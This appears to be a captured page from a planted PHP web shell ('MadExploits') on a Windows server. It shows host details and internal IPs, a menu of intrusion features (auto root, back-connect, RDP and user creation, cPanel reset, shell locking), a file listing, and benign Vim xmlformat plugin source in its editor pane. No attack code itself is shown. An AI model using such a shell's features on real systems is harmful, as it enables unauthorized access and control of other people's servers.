Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
share /
vim /
vim82 /
autoload /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
drwxrwxrwx
xml
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
README.txt
773
B
-rw-rw-rw-
RstFold.vim
1.86
KB
-rw-rw-rw-
ada.vim
22.04
KB
-rw-rw-rw-
adacomplete.vim
3.58
KB
-rw-rw-rw-
ccomplete.vim
19.32
KB
-rw-rw-rw-
clojurecomplete.vim
8.66
KB
-rw-rw-rw-
context.vim
5.33
KB
-rw-rw-rw-
contextcomplete.vim
656
B
-rw-rw-rw-
csscomplete.vim
42.24
KB
-rw-rw-rw-
decada.vim
2.93
KB
-rw-rw-rw-
freebasic.vim
1.12
KB
-rw-rw-rw-
getscript.vim
24.29
KB
-rw-rw-rw-
gnat.vim
5.21
KB
-rw-rw-rw-
gzip.vim
6.26
KB
-rw-rw-rw-
haskellcomplete.vim
103.31
KB
-rw-rw-rw-
htmlcomplete.vim
24.88
KB
-rw-rw-rw-
javascriptcomplete.vim
27.48
KB
-rw-rw-rw-
netrw.vim
549.6
KB
-rw-rw-rw-
netrwFileHandlers.vim
9.89
KB
-rw-rw-rw-
netrwSettings.vim
10.23
KB
-rw-rw-rw-
netrw_gitignore.vim
1.21
KB
-rw-rw-rw-
paste.vim
672
B
-rw-rw-rw-
phpcomplete.vim
346.21
KB
-rw-rw-rw-
python3complete.vim
21.16
KB
-rw-rw-rw-
pythoncomplete.vim
21.59
KB
-rw-rw-rw-
rubycomplete.vim
25.26
KB
-rw-rw-rw-
rust.vim
10.22
KB
-rw-rw-rw-
rustfmt.vim
2.92
KB
-rw-rw-rw-
spellfile.vim
5.96
KB
-rw-rw-rw-
sqlcomplete.vim
38.27
KB
-rw-rw-rw-
syntaxcomplete.vim
32.86
KB
-rw-rw-rw-
tar.vim
29.62
KB
-rw-rw-rw-
tohtml.vim
30.9
KB
-rw-rw-rw-
vimball.vim
23.76
KB
-rw-rw-rw-
xmlcomplete.vim
14.59
KB
-rw-rw-rw-
xmlformat.vim
6.05
KB
-rw-rw-rw-
zip.vim
14.69
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xmlformat.vim
" Vim plugin for formatting XML " Last Change: 2020 Jan 06 " Version: 0.3 " Author: Christian Brabandt <cb@256bit.org> " Repository: https://github.com/chrisbra/vim-xml-ftplugin " License: VIM License " Documentation: see :h xmlformat.txt (TODO!) " --------------------------------------------------------------------- " Load Once: {{{1 if exists("g:loaded_xmlformat") || &cp finish endif let g:loaded_xmlformat = 1 let s:keepcpo = &cpo set cpo&vim " Main function: Format the input {{{1 func! xmlformat#Format() abort " only allow reformatting through the gq command " (e.g. Vim is in normal mode) if mode() != 'n' " do not fall back to internal formatting return 0 endif let count_orig = v:count let sw = shiftwidth() let prev = prevnonblank(v:lnum-1) let s:indent = indent(prev)/sw let result = [] let lastitem = prev ? getline(prev) : '' let is_xml_decl = 0 " go through every line, but don't join all content together and join it " back. We might lose empty lines let list = getline(v:lnum, (v:lnum + count_orig - 1)) let current = 0 for line in list " Keep empty input lines? if empty(line) call add(result, '') continue elseif line !~# '<[/]\?[^>]*>' let nextmatch = match(list, '<[/]\?[^>]*>', current) if nextmatch > -1 let line .= ' '. join(list[(current + 1):(nextmatch-1)], " ") call remove(list, current+1, nextmatch-1) endif endif " split on `>`, but don't split on very first opening < " this means, items can be like ['<tag>', 'tag content</tag>'] for item in split(line, '.\@<=[>]\zs') if s:EndTag(item) call s:DecreaseIndent() call add(result, s:Indent(item)) elseif s:EmptyTag(lastitem) call add(result, s:Indent(item)) elseif s:StartTag(lastitem) && s:IsTag(item) let s:indent += 1 call add(result, s:Indent(item)) else if !s:IsTag(item) " Simply split on '<', if there is one, " but reformat according to &textwidth let t=split(item, '.<\@=\zs') " if the content fits well within a single line, add it there " so that the output looks like this: " " <foobar>1</foobar> if s:TagContent(lastitem) is# s:TagContent(t[1]) && strlen(result[-1]) + strlen(item) <= s:Textwidth() let result[-1] .= item let lastitem = t[1] continue endif " t should only contain 2 items, but just be safe here if s:IsTag(lastitem) let s:indent+=1 endif let result+=s:FormatContent([t[0]]) if s:EndTag(t[1]) call s:DecreaseIndent() endif "for y in t[1:] let result+=s:FormatContent(t[1:]) "endfor else call add(result, s:Indent(item)) endif endif let lastitem = item endfor let current += 1 endfor if !empty(result) let lastprevline = getline(v:lnum + count_orig) let delete_lastline = v:lnum + count_orig - 1 == line('$') exe v:lnum. ",". (v:lnum + count_orig - 1). 'd' call append(v:lnum - 1, result) " Might need to remove the last line, if it became empty because of the " append() call let last = v:lnum + len(result) " do not use empty(), it returns true for `empty(0)` if getline(last) is '' && lastprevline is '' && delete_lastline exe last. 'd' endif endif " do not run internal formatter! return 0 endfunc " Check if given tag is XML Declaration header {{{1 func! s:IsXMLDecl(tag) abort return a:tag =~? '^\s*<?xml\s\?\%(version="[^"]*"\)\?\s\?\%(encoding="[^"]*"\)\? ?>\s*$' endfunc " Return tag indented by current level {{{1 func! s:Indent(item) abort return repeat(' ', shiftwidth()*s:indent). s:Trim(a:item) endfu " Return item trimmed from leading whitespace {{{1 func! s:Trim(item) abort if exists('*trim') return trim(a:item) else return matchstr(a:item, '\S\+.*') endif endfunc " Check if tag is a new opening tag <tag> {{{1 func! s:StartTag(tag) abort let is_comment = s:IsComment(a:tag) return a:tag =~? '^\s*<[^/?]' && !is_comment endfunc " Check if tag is a Comment start {{{1 func! s:IsComment(tag) abort return a:tag =~? '<!--' endfunc " Remove one level of indentation {{{1 func! s:DecreaseIndent() abort let s:indent = (s:indent > 0 ? s:indent - 1 : 0) endfunc " Check if tag is a closing tag </tag> {{{1 func! s:EndTag(tag) abort return a:tag =~? '^\s*</' endfunc " Check that the tag is actually a tag and not {{{1 " something like "foobar</foobar>" func! s:IsTag(tag) abort return s:Trim(a:tag)[0] == '<' endfunc " Check if tag is empty <tag/> {{{1 func! s:EmptyTag(tag) abort return a:tag =~ '/>\s*$' endfunc func! s:TagContent(tag) abort "{{{1 " Return content of a tag return substitute(a:tag, '^\s*<[/]\?\([^>]*\)>\s*$', '\1', '') endfunc func! s:Textwidth() abort "{{{1 " return textwidth (or 80 if not set) return &textwidth == 0 ? 80 : &textwidth endfunc " Format input line according to textwidth {{{1 func! s:FormatContent(list) abort let result=[] let limit = s:Textwidth() let column=0 let idx = -1 let add_indent = 0 let cnt = 0 for item in a:list for word in split(item, '\s\+\S\+\zs') if match(word, '^\s\+$') > -1 " skip empty words continue endif let column += strdisplaywidth(word, column) if match(word, "^\\s*\n\\+\\s*$") > -1 call add(result, '') let idx += 1 let column = 0 let add_indent = 1 elseif column > limit || cnt == 0 let add = s:Indent(s:Trim(word)) call add(result, add) let column = strdisplaywidth(add) let idx += 1 else if add_indent let result[idx] = s:Indent(s:Trim(word)) else let result[idx] .= ' '. s:Trim(word) endif let add_indent = 0 endif let cnt += 1 endfor endfor return result endfunc " Restoration And Modelines: {{{1 let &cpo= s:keepcpo unlet s:keepcpo " Modeline {{{1 " vim: fdm=marker fdl=0 ts=2 et sw=0 sts=-1
Close